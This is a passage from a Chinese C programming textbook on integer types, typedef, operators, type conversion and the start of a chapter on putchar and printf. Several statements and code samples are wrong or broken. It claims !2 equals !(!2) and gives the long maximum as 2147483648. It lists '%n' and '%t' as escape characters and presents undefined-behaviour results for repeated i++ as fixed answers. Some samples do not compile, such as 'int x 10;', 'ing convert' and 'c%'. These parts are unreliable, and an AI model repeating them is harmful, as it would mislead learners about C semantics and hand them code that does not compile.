其中，x是短整型变量，关键字int可以省略，存储单元的最高位为符号位。

短整型变量用于存放比较小的整数，使用短整型的目的是为了节省计算机的内存空间，但一个短整型变量所占的内存字节数与相应的系统有关。在有的计算机系统中，短整型变量所占用的存储空间少于整型变量所占用的存储空间，但在有的系统中，short int型变量和int型变量占用相同的内存空间。

短整型常量与一般的整型常量没有明显的区别，其区别仅仅在于所能表示的数值大小而已。ANSI标准所定义的标准C语言的整数类型规定短整型变量和整型变量都占用2个字节（16位）的内存空间，因此，所能表示的数值大小也完全一样，即取值范围为-32768～32767；长整型变量占用4个字节（32位）的内存空间，取值范围为-2147483648～2147483648。

3.无符号整型

无符号整型变量的定义方式如下：



unsigned int x;



其中，x是无符号整型变量，关键字int可以省略。

无符号整型变量只用于存放非负整数。由于这种变量与int型变量占用相同的内存空间，因此，它能够存放的正整数范围将大于int型变量所能存放的正整数范围。

无符号整型常量总是大于等于0的正整数。ANSI标准所定义的标准C语言的整数类型规定无符号整型常量的取值范围一般为0～65535。


5.4.5　类型定义typedef

C语言提供了许多标准类型名，如上面介绍的int、char和float等，用户可以直接使用这些类型名来定义所需要的变量。同时，C语言还允许使用typedef语句来定义新的类型名，以取代已有的类型名。typedef定义的一般形式为：



typedef 原类型名 新类型名;



在用typedef定义新类型名时，习惯上将新类型名用大写字母来表示，以便与系统提供的标准类型标识符相区别。

例如：



typedef int COUNTER;



其作用是定义COUNTER来等价于基本数据类型名int，以后就可以利用COUNTER来定义int型变量。例如：



COUNTER i,n;



等价于：



int i,n;



使用类型定义的优点是能够增加程序的可读性和可移植性。由上述语句可以看出，当用COUNTER来定义i、n变量时，就可以判断出i、n变量的作用可能是当计数器使用，但如果用int来定义的话，就难以看出这种用途。

使用typedef语句时，需要注意如下两个问题：

1）typedef语句不能创造新的类型，只能为已有的类型重新命名，也就是说原来的类型名仍然可以使用。

2）typedef语句只能用来定义类型名，而不能用来定义变量。


5.5　算术运算符、赋值运算符及其表达式

运算符是指用来完成各种运算的符号。C语言的运算符范围很宽，把除了控制语句和输入/输出以外的几乎所有的基本操作都作为运算符处理，例如，将赋值符“=”作为赋值运算符，方括号作为下标运算符等。C语言的运算符不仅具有不同的优先级，而且还有结合性的特点。在表达式中，各参与运算的常量和变量不仅要遵守运算符优先级的规定，还要受运算符结合性的制约，以便确定是自左向右还是自右向左进行运算。C语言的运算符有以下几类。

算术运算符：+、-、*、/、%、++、--

关系运算符：＞、＜、==、＞=、＜=、!=

逻辑运算符：!、＆＆、||

位运算符：＜＜、＞＞、～、|、^、＆

赋值运算符：=及其扩展赋值运算符

条件运算符：?:

逗号运算符：,

指针运算符：*、＆

求字节数运算符：sizeof

类型转换运算符：()

分量运算符：.、→

下标运算符：[]


 5.5.1　算术运算符和算术表达式

1.基本的算术运算符

+：加法运算符，或正值运算符，如5+6、+9、a+3（a是一个变量）。

-：减法运算符，或负值运算符，如9-5、-6。

*：乘法运算符，如8*6。

/：除法运算符，如8/3。

%：模运算符，或称求余运算符，要求%两侧均为整型数据。

需要注意：

1）两个整数相除结果为整数，如5/3的结果值为1，舍去小数部分。但是如果除数或被除数中有一个为负值，则舍入的方向是不固定的。例如，-5/3在有的机器上得到结果-1，有的机器则给出结果-2。多数机器采取“向零取整”方法，即5/3=1，-5/3=-1，取整后向零靠拢。如果参加运算的两个数中有一个数为实数，则结果是double型，因为所有实数都按double型进行运算。

2）括号也可以参与运算，如a*（3+5）。

3）求余运算符的两边都应为整数，如7.5%3是没有意义的。

当整型（int,short,long）、浮点型（float,double）、字符型（char）数据混合运算时，不同类型的数据先转换为同一类型，然后再进行运算。其中short和char类型将自动转换为int类型，float类型将自动转换为double类型进行运算。

2.算术表达式和运算符的优先级与结合性

用算术运算符和括号将运算对象（也称操作数）连接起来的、符合C语法规则的式子，称C算术表达式。运算对象包括常量、变量、函数等。例如，下面是一个合法的C算术表达式：



a*b/c-1.5+sin(x);



C语言规定了运算符的优先级和结合性，在对表达式求值时，先按运算符的优先级的高低次序执行，例如先乘除后加减。如a-b*c,b的左侧为减号，右侧为乘号，而乘号优先于减号，因此相当于a-（b*c）。如果在一个运算对象两侧的运算符的优先级别相同，如a-b+c，则按规定的“结合方向”处理。C规定了各种运算符的结合方向（结合性），算术运算符的结合方向为“自左至右”，即先左后右，因此b先与减号结合，执行a-b的运算，再执行加c的运算。“自左至右的结合方向”又称“左结合性”，即运算对象先与左面的运算符结合。有些运算符的结合方向为“自右至左”，即右结合性，典型的右结合性运算符是赋值运算符，如a=b=c，先执行b=c，把c值赋给b，再执行a=b，把b值赋给a。关于“结合性”的概念在其他一些高级语言中是没有的，是C的特点之一。

如果一个运算符的两侧的数据类型不同，则会先自动进行类型转换，使二者具有同一种类型，然后进行运算。

3.强制转换类型的运算符（）

可以利用强制类型转换运算符“()”将一个表达式转换成所需类型。例如：

(double)a：将a转换成double类型。

(int)(x+y)：将x+y的值转换成整型。

(int)x+y：将变量x的值转换为int型再与y进行运算。

(float)(8%3)：将8%3的值转换成float型。

其一般形式为：



(类型名)(表达式)



注意，表达式应该用括号括起来。(int)x+y与(int)(x+y)的结果是不一样的。

需要说明的是，在强制类型转换时，得到一个所需类型的中间变量，原来变量的类型未发生变化。例如



double x=2.5884;

int y=(int)x;



y的值为2，而x的值仍然为2.5884。

从上述可知：有两种类型转换，一种是在运算时不必用户指定，系统自动进行类型转换，如3+6.5。第二种是强制类型转换，当自动类型转换不能实现目的时，可以用强制类型转换。如“%”运算符要求其两侧均为整型量，若x为float型，则"x%3"不合法，必须用"(int)x%3"。强制类型转换运算优先于%运算，因此先进行(int)x运算，得到一个整型的中间变量，然后再对3求模。此外，在函数调用时，有时为了使实参与形参类型一致，可以用强制类型转换运算符得到一个所需类型的参数。

4.自增运算符++、自减运算符--

自增运算符++，其功能是使变量的值自增1。自减运算符--，其功能是使变量的值自减1。自增、自减运算符均为右结合性。它可以有以下几种形式。

i++：先使用i，再把i的值加1，为后置运算。

i--：先使用i，再把i的值减1，为后置运算。

++i：先把i的值加1，再使用i，为前置运算。

--i：先把i的值减1，再使用i，为前置运算。

其中，i是一个整型变量。对一个变量实行前置和后置运算，其结果是相同的，如++i和i++的作用相当于i=i+1。但++i和i++不同之处在于++i是先执行i=i+1，再使用i的值；而i++是先使用i的值，再执行i=i+1。如果i的原值等于3，则



j=++i;/*j的值为4*/

j=i++;/*j的值为3,然后i变为4*/



又如，



i=6;

printf("%d",++i);/输出7*/



若改为



printf("%d",i++);/*输出6,但是i的值已变为7*/



注意：

1）自增运算符（++）、自减运算符（--）只能用于变量，而不能用于常量或表达式，如6++或（a+b）++都是不合法的。因为6是常量，常量的值不能改变。（a+b）++也不可能实现，假如a+b的值为4，那么自增后得到的5没有变量可供存放。

2）++和--的结合方向是“自右至左”。前面已提到，算术运算符的结合方向为“自左至右”，如果有-i++，i的左面是负号运算符，右面是自加运算符，如果i的原值等于3，若按左结合性，相当于（-i）++，而（-i）++是不合法的。对表达式不能进行自加自减运算。负号运算符和“++”运算符同优先级，而结合方向为“自右至左”（右结合性），即它相当于-（i++），如果有printf（“%”，-i++），则先取出i的值使用，输出-i的值-3，然后使i增值为4。注意（i++）是先用i的原值进行运算，再对i加1，不要认为先加完1后再加负号，输出-4，这是不对的。

自增（减）运算符常用于循环语句中使循环变量自动加1。也用于指针变量，使指针指向下一个地址。这将在以后的章节中介绍。

5.有关表达式使用中的问题说明

C运算符和表达式使用灵活，利用这一点可以巧妙地处理许多在其他语言中难以处理的问题。但另一方面，有时会出现一些令人容易搞混的问题，因此使用时务必要小心谨慎。

在表达式中包含自加或自减运算时，很容易出错。

i++或i--什么时候进行自加或自减呢？例如有以下赋值语句，若i原值等于3，



k=i++;



显然先将i的原值赋给k（k的值等于3），然后i进行自加，执行完此语句后，i的值等于4。如果有以下表达式：



(i++)+(i++)+(i++)



表达式的值是多少呢？有人认为相当于3+4+5，即12。事实上用Turbo C和MS C系统时它等于9。即先把i的原值3取出来，作为表达式中i的值；因此先进行三个i相加，得9。然后再实现自加，i的值变为6。而



k=(++i)+(++i)+(++i)



有人以为从左到右使i增值，相当于k=4+5+6，得15。事实上k=18。原因是++i的自加是在整个表达式求解一开始时最先进行的，即对表达式扫描，先对i进行三次自加，i得6，然后进行k=6+6+6的运算，故得18。

C语言中有的运算符为一个字符，有的运算符由两个字符组成，在表达式中如何组合呢？如i+++j，是理解为（i++）+j呢？还是i+（++j）？C编译在处理时尽可能多地（自左至右）将若干个字符组成一个运算符（在处理标识符、关键字时也按同一原则处理），如i+++j，将解释为（i++）+j，而不是i+（++j）。

C语言中类似上述这样的问题还有一些。例如，在调用函数时，实参数的求值顺序C标准并无统一规定。若i的初值为3，如果有下面的函数调用：



printf("%d,%d",i,i++)



在有的系统中，从左至右求值，输出“3，3”。在多数系统中对函数参数的求值顺序是自右至左，上面printf函数中要输出两个表达式的值（i和i++分别是两个表达式），先计算出i++的值再计算i的值，输出i++，是先输出i的值3然后使i加1变为4，这个4就成了printf函数中第一个参数i的值，因此上面printf函数输出的是“4,3”。

有关表达式使用中的问题不必死记，不同系统的处理方法也不相同，必要时上机试一下即可。但应当知道使用C语言时可能会出问题的地方，以免遇到问题时不知其所以然。


5.5.2　赋值运算符和赋值表达式

1.赋值运算符

赋值符号“=”就是赋值运算符，它的作用是将一个数据或表达式的值赋给一个变量。它的一般形式是：



变量=表达式;



如"x=2"的作用是执行一次赋值操作（或称赋值运算）。把常量赋给变量x，也可以将一个表达式的值赋给一个变量。例如：



x=4+(y=7);/*把7赋给y,然后计算4+y的值,最后把结果11赋给x*/

y=a*sin(x);/*把表达式a*sin(x)的结果求出来,再赋给变量y*/



2.类型转换

如果赋值运算符两侧的类型不一致，但都是数值型或字符型时，在赋值时要进行类型转换。

1）将实型数据（包括单、双精度）赋给整型变量时，舍弃实数的小数部分。如x为整型变量，执行"x=3.1415"的结果是使x的值为3。

2）将整型数据赋给单、双精度变量时，数值不变，但以浮点数形式存储到变量中，如将15赋给float变量f，即f=15，先将15转换成15.00000，再存储在f中。如将15赋给double型变量d，即d=15，则将15补足有效位数字为15.00000000000000，然后以双精度浮点数形式存储到d中。

3）字符型数据赋给整型变量时，由于字符只占一个字节，而整型变量为2个字节，因此将字符数据（8位）放到整型变量低8位中。如果所用系统将字符处理为无符号的量或对unsigned char型变量赋值，则将字符的8位放到整型变量低8位，高8位补零。如果所用系统将字符处理为带符号的量，若字符最高位为0，则整型变量高8位补0；若字符最高位为1，则高8位全补1，这称为“符号扩展”。

4）将带符号的整型数据（int型）赋给1ong int型变量时，要进行符号扩展，如果int型数据为正值（符号位为0），则1ong int型变量的高16位补0；如int型变量为负值（符号位为1），则1ong型变量的高16位补1，将int型的16位送到1ong型低16位中，以保持数值不改变。

反之，若将一个1ong int型数据赋给一个int型变量，只将1ong int型数据中低16位原封不动送到int型变量（即截断），如果b=65536（八进制数0200000），则赋值后a值为0。如果b=020000000000（八进制数），赋值后a也为0。

5）将unsigned int型数据赋给long int不存在扩展问题，只需将高位补0即可。

6）将非unsigned型数据赋给长度相同的unsigned型变量，也是原样照赋（连原有的符号位也作为数值一起传送）。

3.复合的赋值运算符

在赋值符“=”之前加上其他运算符，可以构成复合的运算符。如果在“=”前加一个“+”运算符就成了复合运算符“+=”。例如，可以有：



a+=3 等价于 a=a+3

x*=y+8 等价于 x=x*(y+8)

x%=3 等价于 x=x%3



凡是二元（二目）运算符，都可以与赋值符一起组合成复合赋值符。C语言规定可以使用10种复合赋值运算符，即+=、-=、*=、/=、%=、＜＜=、＞＞=、＆=、^=、|=。

C语言采用这种复合运算符，一是为了简化程序，使程序精练；二是为了提高编译效率（这种写法与“逆波兰”式一致，有利于编译，能产生质量较高的目标代码）。

4.赋值表达式

由赋值运算符将一个变量和一个表达式连接起来的式子称为“赋值表达式”。它的一般形式为



(变量)(赋值运算符)(表达式)



如"a=5"是一个赋值表达式。对赋值表达式求解的过程是：将赋值运算符右侧的“表达式”的值赋给左侧的变量。赋值表达式的值就是被赋值的变量的值。例如，"a=5"这个赋值表达式的值为5（变量a的值也是5）。

上述一般形式的赋值表达式中的“表达式”，又可以是一个赋值表达式。如



a=(b=5)



括弧内的"b=5"是一个赋值表达式，它的值等于5，因此"a=（b=5）"相当于"a=5"，a的值等于5，整个赋值表达式的值也等于5。赋值运算符按照“自右至左”的结合顺序，因此，"b=5"外面的括弧可以不要，即"a=（b=5）"和"a=b=5"等价，都是先求"b=5"的值（得5），然后再赋给a，下面是赋值表达式的例子：



a=b=c=5 （赋值表达式值为5,a、b、c值均为5）

a=5+(c=6) （表达式值为11,a值为11,c的值为6）

a=(b=4)+(c=6) （表达式值为10,a值为10,b等于4,c等于6）

a=(b=10)/(c=2) （表达式值为5,a等于5,b等于10,c等于2）



赋值表达式也可以包含复合的赋值运算符。如"a+=a-=a*a"

也是一个赋值表达式。如果a的初值为12，此赋值表达式的求解步骤如下：①先进行"a-=a*a"运算，它相当于a=a-a*a=12-144=-132。②再进行"a+=-132"运算，相当于a=a+（-132）=-132-132=-264。

将赋值表达式作为表达式的一种，使赋值操作不仅可以出现在赋值语句中，而且可以以表达式形式出现在其他语句（如循环语句）中，这是C语言灵活性的一种表现。在后面章节中将看到这种应用及其优越性。


5.6　关系运算符、逻辑运算符及其表达式

关系运算是逻辑运算中比较简单的一种。所谓“关系运算”实际上是“比较运算”，将两个值进行比较，判断比较的结果是否符合给定的条件。例如，"b＞2"是一个关系表达式，大于号（＞）是一个关系运算符，如果b的值为4，则满足给定的"b＞2"条件，因此关系表达式的值为“真”（即“条件满足”）；如果b的值为1，不满足"b＞2"条件，则称关系表达式的值为“假”。


 5.6.1　关系运算符和关系表达式

C语言提供六种关系运算符：＜（小于）、＜=（小于或等于）、＞（大于）、＞=（大于或等于）、==（等于）、!=（不等于）。

关于优先次序：

·前四种关系运算符（＜、＜=、＞、＞=）的优先级别相同，后两种的优先级别相同。前四种的优先级高于后两种。例如，“＞”优先于“=”，而“＞”与“＜”优先级相同。

·关系运算符的优先级低于算术运算符，关系运算符的优先级高于赋值运算符。

例如：

c＞a+b等效于c＞（a+b）

a＞b!=c等效于（a＞b）!=c

a==b＜c等效于a==（b＜c）

用关系运算符将两个表达式连接起来的式子，称关系表达式。用来构成关系表达式的两个表达式可以是单独的常量、变量，也可以是算术表达式或关系表达式、逻辑表达式、赋值表达式、字符表达式。例如，下面都是合法的关系表达式：

a＞b；

a＞3；

a+b＞b+c；

关系表达式的值是一个逻辑值，即“真”或“假”，以1代表“真”，以“0”代表“假”。例如，若a=3，b=2，c=1，则a＞b的值为“真”，表达式的值为1；（a＞b）==c的值为“真”（因为a＞b的值为1，等于c的值），表达式的值为1；b+c＜a的值为“假”，表达式的值为0。


5.6.2　逻辑运算符和逻辑表达式

用逻辑运算符将关系表达式或逻辑量连接起来就是逻辑表达式。下面介绍C语言中的逻辑运算符和逻辑运算。C语言提供三种逻辑运算符：

·＆＆：逻辑与（相当于其他语言中的AND）。

·‖：逻辑或（相当于其他语言中的OR）。

·！：逻辑非（相当于其他语言中的NOT）。

“＆＆”和“‖”是双目（元）运算符，它要求有两个运算量（操作数），如（a＞b）＆＆（x＞y），（a＞b）‖（x＞y）。“!”是一目（元）运算符，只要求有一个运算量，如!（a＞b）。

逻辑运算举例如下：

a＆＆b　若a、b为真，则a＆＆b为真。

a‖b　若a、b之一为真，则a‖b为真。

!a　若a为真，则!a为假。

表5-2为逻辑运算的真值表。用它表示当a和b的值为不同组合时，各种逻辑运算所得到的值。
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在一个逻辑表达式中如果包含多个逻辑运算符，如"!a＆＆b‖x＞y＆＆c"，各种运算符按照从高到低的优先次序排列如下：

!→算术运算符→关系运算符→＆＆→‖→赋值运算符

这样，"!a＆＆b‖x＞y＆＆c"就可以写成"((!a)＆＆b)‖((x＞y)＆＆c)"。

逻辑表达式的值应该是一个逻辑量“真”或“假”。C语言编译系统在给出逻辑运算结果时，以数值1代表“真”，以0代表“假”，但在判断一个量是否为“真”时，以0代表“假”，以非0代表“真”，即将一个非零的数值认作为“真”。例如：若a=2，则！a的值为0。因为a的值为非0，被认作“真”，对它进行“非”运算，得“假”，“假”以0代表。

由此可以看出，由系统给出的逻辑运算结果不是0就是1，不可能是其他数值。而在逻辑表达式中作为参加逻辑运算的运算对象（操作数）可以是0（“假”）或任何非0的数值（按“真”对待）。如果在一个表达式中不同位置上出现数值，应区分哪些是作为数值运算或关系运算的对象，哪些作为逻辑运算的对象。例如“3＞2＆＆2‖7＜5-！0”，自左至右扫描求解。首先处理“3＞2”（因为关系运算符优先于＆＆）。在关系运算符两侧的3和2作为数值参加关系运算，“3＞2”的值为1。再进行“1＆＆2”运算，此时1和2均是逻辑运算对象，均作“真”处理，因此结果为1。再进行“1‖7＜5-！0”运算。根据优先次序，先进行“！0”运算得1，因此，要运算的表达式变成“1‖7＜5-1”，即“1‖7＜4”，关系运算符“＜”两侧的7和4作为数值参加比较，“7＜4”的值为0（“假”）。最后得到“1‖0”的结果为1。

实际上，逻辑运算符两侧的运算对象不但可以是0和1，或者是0和非0的整数，也可以是任何类型的数据。可以是字符型、实型或指针型等。系统最终以0和非0来判定它们属于“真”或“假”。例如"‘c’＆＆‘d’"的值为1（因为‘c’和‘d’的ASCⅡ码值都不为0，按“真”处理）。

在逻辑表达式的求解中，并不是所有的逻辑运算符都被执行，只是在必须执行下一个逻辑运算符才能求出表达式的解时，才执行该运算符。例如，"a＆＆b＆＆c"只有a为真（非0）时，才需要判别b的值，只有a和b都为真的情况下才需要判别c的值。只要a为假，就不必判别b和c（此时整个表达式已确定为假）。如果a为真，b为假，不判别c。

在C语言中，“!”操作符和普通逻辑中的"not"操作并不相同，如果s是一条逻辑语句，则



not(not s)=s



但是在C语言中，!2的结果是1，而不是2。这是因为“!”操作符的结合性是从右往左，!2等价于!(!2)，!(!2)等价于!(0)，结果为1。


5.7　逗号运算符和逗号表达式

C语言中的逗号“，”也是一种运算符，称为逗号运算符。其功能是把几个表达式连接起来组成一个表达式，称为逗号表达式。逗号操作符的优先级最低，它是双目运算符，它的操作数都是表达式。它的一般形式是：



表达式1,表达式2……表达式n



其求值过程是从左到右分别求出这n个表达式的值，并以表达式n的值作为整个逗号表达式的值。如有以下语句：



int a=(3*2,11-9,10);



先计算括号内逗号表达式的值，该逗号表达式的值为10，再把10赋给变量a，结果a的值为10。

逗号表达式的运算优先级低于赋值运算符的优先级。如有以下程序代码：



int a=5;

a=(a=3*3,a*2),a+10;



第二条语句可以分为两部分，"a=（a=3*
 3，a*
 2）"和"a+10"，先算左边，再计算右边。因为逗号运算符的优先级最低，所以最外面的逗号是最后求值的。"a=(a=3*3,a*2)"中先求括号中的部分"(a=3*3,a*2)"，"a=3*3,a*2"中又先计算"a=3*3"，此时a等于9，再经过"a*2"后，a值变为18。再把18赋给a。最后计算"a+10"，"a+10"的运算对a的值没有影响，a只是加了10而没有把加后的结果赋给a，所以对a没有影响。最后a的值是18。

程序中的大多数逗号并不是逗号操作符，例如在函数的参数列表中用来分隔参数表达式的逗号就不是逗号操作符，如果在这样的场合使用逗号表达式，需要在逗号表达式两边加上括号。


5.8　变量的初始化

在对变量进行定义的同时为其赋初值称为变量的初始化。对变量所赋的初值可以是常量，也可以是常量表达式（即每个运算分量都是常量的表达式），此时，该常量表达式的值即为变量的初值。例如：



int x 10;



它表示定义整型变量x，同时将初值10赋给它。同样，下面的初始化方式也是合法的。



char letter='A';

ing convert='b'-'B';

float y=1.25*3.1;



下面的语句将为x、y、z三个整型变量都赋以初值10：



int x=10,y=10,z=10;



也可以对被同时定义的多个变量的一部分赋初值。例如：



float x,y,pi=3.14;



它表示x、y、pi都是浮点型变量，但只对变量pi赋以初值3.14，而其余变量没有显式地赋以初值。


5.9　不同类型数据之间的转换

在内存中，字符是以系统中所使用的字符的编码值形式存储的，比如，在IBM PC机上是以ASCⅡ码形式存储的，它的存储形式与整型数的存储形式相似。C语言允许字符型数据和整型数据之间通用：一个字符型数据，既可以用字符形式输出，也可以用整数形式输出。同时，字符型数据可以赋给整型变量，整型数据也可以赋给字符型变量，只是当整型数据的大小超过字符型变量的表示范围时，需要截取相应的有效位数。

除了上述字符型数据和整型数据之间可以通用之外，不同类型的数据在进行混合运算时，往往需要进行类型转换。这种类型转换有两种方式：一种是自动类型转换，另一种是强制类型转换。


 5.9.1　自动类型转换

C语言允许整型、单精度浮点型和双精度浮点型数据之间进行混合运算，由于字符型数据可以和整型数据通用，所以，下列表达式是合法的。



'B'+3.14*22;



显然，在进行混合运算时，不同类型的数据要首先转换成同一类型，然后才能进行运算，而这种转换最终都归结为整型数据和浮点型数据之间的转换问题。下面给出整型数据与浮点型数据之间的自动转换规则：

·当单、双精度浮点型数据赋给整型变量时，浮点数的小数部分将被舍弃。同时，由于浮点型变量所能表示的数的范围远远超过整型变量的表示范围，所以，在赋值时，还需进行相应有效位数的截取操作。

·当整型数据赋给浮点型变量时，在数值上不发生任何变化，但整型数据被转换成浮点型数据的形式后，存储到浮点型变量中。

·如果某个算术运算符的两个运算对象都是整数，那么，运算将按照整型数的运算规则来进行，这就意味着对除法运算来说，其结果的小数部分将被舍弃。需要注意的是，在这种情况下，即使运算结果赋给了浮点型变量也是一样的，结果的小数部分也将被舍弃。例如：



float f;

int i=4;

f=10/i;



此时，f的值为2.0，而不是2.5。

·只要某个算术运算符的两个运算对象中有一个是浮点型数据，则运算将按照浮点数的运算规则来进行，即结果的小数部分也被保留下来。例如：



float f;

int i=4;

f=10.0/i;



此时，f的值为2.5，而不是2.0。


5.9.2　强制类型转换

当自动类型转换达不到目的时，可以利用强制类型转换。例如，当除法运算符“/”的两个运算对象都是整型数据时，其运算将按照整型运算规则来进行，即舍弃结果的小数部分。如果希望按照浮点型运算规则来运算，就必须首先把其中某个运算对象的数据类型强制转换为浮点型，然后再进行运算。

强制类型转换的一般形式如下：



(类型名)(表达式)



例如，（int）（a+b）是将a+b的结果强制转换成int型。又如(float)x/y是将x强制转换成float型后，再进行运算。

强制类型转换是一个单目操作符，它的优先级与结合性（从右到左）与其他单目操作符相同。需要注意的是，在进行强制类型转换时，需要将类型名用圆括号括起来，同时，经强制类型转换后，得到的是一个所需类型的中间变量，原来变量的类型及其数值大小并没有发生任何变化。


5.10　实践拓展

1.关于字符数据

字符存储的时候是转换为类似整数的ASCⅡ码，因此字符数据可以和整型数据互相赋值。

2.自增/自减运算符

自增/自减运算符只能用于变量，不能用于表达式或者常量，否则结果无法存储，其结合方向为自右向左。

3.C语言的数据类型

C语言的基本数据类型包括：基本类型、构造类型、指针类型、空类型（void）、定义类型（typedef）。基本类型包括：整型、实型、字符型。构造类型包括：数组、结构体、共用体、枚举类型。数据类型决定数据占内存的字节数、数据取值范围以及可进行的操作。

4.C语言的关键字和标识符

C语言的关键字一共有32个，它们无法进行重新定义。C语言的标识符主要由程序员作为变量和函数的名称，它们以字母或下划线开头，通常选择有助记意义的名称。

5.关于数据类型

int型是机器所使用的最“自然”的整数类型，其他的一些整数类型，比如short、long、unsigned等都是为一些特殊的场合提供的。和整数的运算不同，浮点运算的结果不都总是准确的，在进行深入的运算时必须考虑四舍五入效果。


5.11　思考与练习

1.若有以下定义：int m=3，y=2；则计算表达式y+=y-=m*=y的y值。

2.已知字母a的ASCⅡ码为十进制数97，且设cha为字符型变量，则表达式cha='a'+'8'-'3'的值是多少。

3.阅读下列程序，将程序运行结果写出来。



#include＜stdio.h＞

void main()

{

char ch;int k=0;

for(ch='A';ch＜'H';ch++,k++)

if(k%2==0)printf("%c",ch);

printf("\n");

}



4.编程，输入一个十进制正整数，然后输出它所对应的八进制、十六进制数。

5.有10个学生，每个学生的数据包括学号、姓名、5门课程的成绩，从键盘输入学生的成绩，计算5门课程的平均成绩，输出最高和最低分数的学生的学号、姓名、5门课程的成绩和平均分数。

6.编写函数，返回在一个整数组中出现次数最多的数及其出现次数。


第6章　数据的输入和输出

本章要点：

C语言数据的输出

C语言数据的输入


 6.1　数据的输出

本节介绍两个基本的数据输出函数，字符输出函数putchar()和格式输出函数printf()，它们都是以终端（或系统隐含指定的输出设备）为对象。


 6.1.1　字符输出函数putchar()

putchar()函数的作用是向终端输出一个字符，其函数原型为：



#include＜stdio.h＞

int putchar(int c);



例如：



putchar(c);



输出字符变量c的值。c可以是字符型变量、常量或0～255的整型常量或变量，还可以是转义字符，如"%n"、"%t"等。在内存中char是按1个字节存储的，int一般是按2个或4个字节存储。因此int可以容纳char能够容纳的所有值，以及其他的值。

在需要使用标准I/O库中的函数时，应在程序前使用"#include"预编译命令，但在用printf()和scanf()函数时，则可以不用（只有printf()和scanf()例外）。

【例6-1】字符输出

要求使用putchar()函数输出字符。

[1]在Vi中创建一个新工程文件，命名为"example6_1.c"。

[2]在"example6_1.c"中创建如下代码。



#include"stdio.h"

main()

{

char a,b,c,d,e;

a='H';b='E';c='L';d='L';e='O';

putchar(a);putchar(b);putchar(c);putchar(d);putchar(e);

}



[3]编译并运行程序，结果如图6-1所示。
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图　6-1　使用putchar()函数输出字符

也可以输出控制字符，如putchar('\n')输出一个换行符，如果将例6-1程序最后一行改为



putchar(a);putchar('\n');putchar(b);putchar('\n');putchar(c);

putchar('\n');putchar(d);putchar('\n');putchar(e);putchar('\n');



则输出结果如图6-2所示。
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图　6-2　使用putchar()函数及换行符输出字符

也可以输出其他转义字符，如：



putchar('\101')(输出字符'A')

putchar('')(输出单引号字符')

putchar('\015)(使输出回车,不换行)




6.1.2　格式输出函数printf()

printf()函数的作用是向终端（或系统隐含指定的输出设备）输出若干个任意类型的数据，putchar()只能输出字符，而且只能是一个字符，而printf()可以输出多个数据，且为任意类型。

1.函数原型

printf()函数的原型为：



printf(格式控制,输出表列)



它的功能是在控制字符串的控制下，将参数转换为规定的格式在标准输出设备（显示器）上进行打印显示。

（1）格式控制

格式控制是用双引号括起来的字符串，也称转换控制字符串，它的作用是控制输出项的格式和输出的一些提示信息。它包括三种信息：

·格式说明，由“%”和格式字符组成，如%d、%f等。它的作用是将输出的数据转换为指定的格式，包括类型、形式、长度、小数位数等。格式说明总是由“%”字符开始。其一般形式为：



%[标志][宽度][精度][h|1]＜格式字符＞



·转义字符，用于在程序中表述键盘上没有的字符或某个具有复合功能的控制字符，如："\n"等。

·普通字符，即需要原样输出的字符。

（2）输出表列

输出表列是需要输出的一些数据，可以是常量、变量或表达式，可以是0个、1个或者多个，每个输出项之间以逗号隔开。例如：



printf("a=%d,b=%d\n",a,b);

printf("a+b=%d,a-b=%d\n",a+b,a-b);



其中，"%d"是格式说明，表示在这个位置输出一个十进制整数；"a="、"b="、"a+b="、"a-b="是普通字符；"\n"是转义字符。

由于printf()是函数，因此，格式控制字符串和输出表列实际上都是函数的参数。可以表示为：



printf(参数1,参数2,参数3……参数n)



printf()函数的功能是将参数2到参数n按参数1给定的格式输出。

2.格式说明

格式说明中以格式字符为主，对不同类型的数据用不同的格式字符。

（1）d格式符

用来输出十进制整数。有以下几种用法：

·%d，按整型数据的实际长度输出。

·%md,m为指定的输出字段的宽度。如果数据的位数小于m，则左端补以空格，若大于m，则按实际位数输出，如：



a=321;d=54321;

printf("%4d,%4d",a,d);



则输出结果为：_321，54321（_代表空格）。

·%ld，输出长整型数据。如：



1ong a=123456;

printf("%ld",a);



如果用%d输出，就会发生错误，对1ong型数据应当用%ld格式输出，也可以指定字段宽度，如将上面printf()函数中的"%ld"改为“%81d”则输出为_123456，共有8列。一个int型数据可以用%d或%ld格式输出。

（2）o格式符

以八进制数形式输出整数。由于是将内存单元中的各位的值（0或1）按八进制形式输出，因此输出的数值不带符号，即将符号位也一起作为八进制数的一部分输出。不会输出带负号的八进制整数。对长整数（1ong型）可以用“%1o”格式输出。同样可以指定字段宽度，如printf（"%8o"，a）。

（3）x或X格式符

以十六进制数形式输出整数，同样不会出现负的十六进制数。例如：



int a=-1;

main()

{

printf("%x,%o,%d",a,a,a);

}



输出结果为：



ffffffff,37777777777,-1



同样可以用"%lx"输出长整型数，也可以指定输出字段的宽度，如"%12x"。

（4）u格式符

用来输出unsigned型数据，即无符号数，以十进制形式输出。

一个有符号整数（int型）也可以用"%u"格式输出；反之，一个unsigned型数据也可以用"%d"格式输出。unsigned型数据也可用"%o"或"%x"格式输出。

【例6-2】指定输出数据的精度（一）

要求用printf()函数进行输出，并且在printf()函数中指定输出数据的精度。

[1]在Vi中创建一个新工程文件，命名为"example6_2.c"。

[2]在"example6_2.c"中创建如下代码。



main()

{

unsigned int a=55555;

int b=-5;

printf("a=%d,%o,%x,%u\n",a,a,a,a);

printf("b=%d,%o,%x,%u\n",b,b,b,b);

}



[3]运行结果如图6-3所示。

[image: ]


图　6-3　在printf()函数中指定输出数据精度的输出结果

（5）c格式符

用来输出一个字符。如：



char c='a';

printf("%c",c);



输出字符"a"。注意"%c"中的c是格式符，逗号右边的c是变量名，不要混淆。

一个整数，只要它的值在0～255内，也可以用字符形式输出，在输出前，将该整数转换成相应的ASCⅡ字符；反之，一个字符数据也可以用整数形式输出。

【例6-3】指定输出数据的精度（二）

要求用printf()函数进行输出，并且在printf()函数中指定输出数据的精度。

[1]在Vi中创建一个新工程文件，命名为"example6_3.c"。

[2]在"example6_3.c"中创建如下代码。



main()

{

char x='b';

int i=98;

printf("c%,%d\n",x,x);

printf("%c,%d\n",i,i);

}



[3]编译并运行程序，结果如图6-4所示。
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图　6-4　在printf()函数中指定输出数据精度的输出结果

也可以指定输出数据的宽度，如果有：



char c='a';

printf("%3c",c);



则输出"__a"，即c变量输出占3列，前2列补空格。

（6）s格式符

用来输出一个字符串。有几种用法：

·%s，原样输出字符串。

·%ms，输出的字符串占m列，若字符串本身长度大于m，则突破m的限制，将字符串全部输出，若串长小于m，则左补空格。

·%-ms，如果串长小于m，则在m列范围内，字符串向左靠，右补空格。

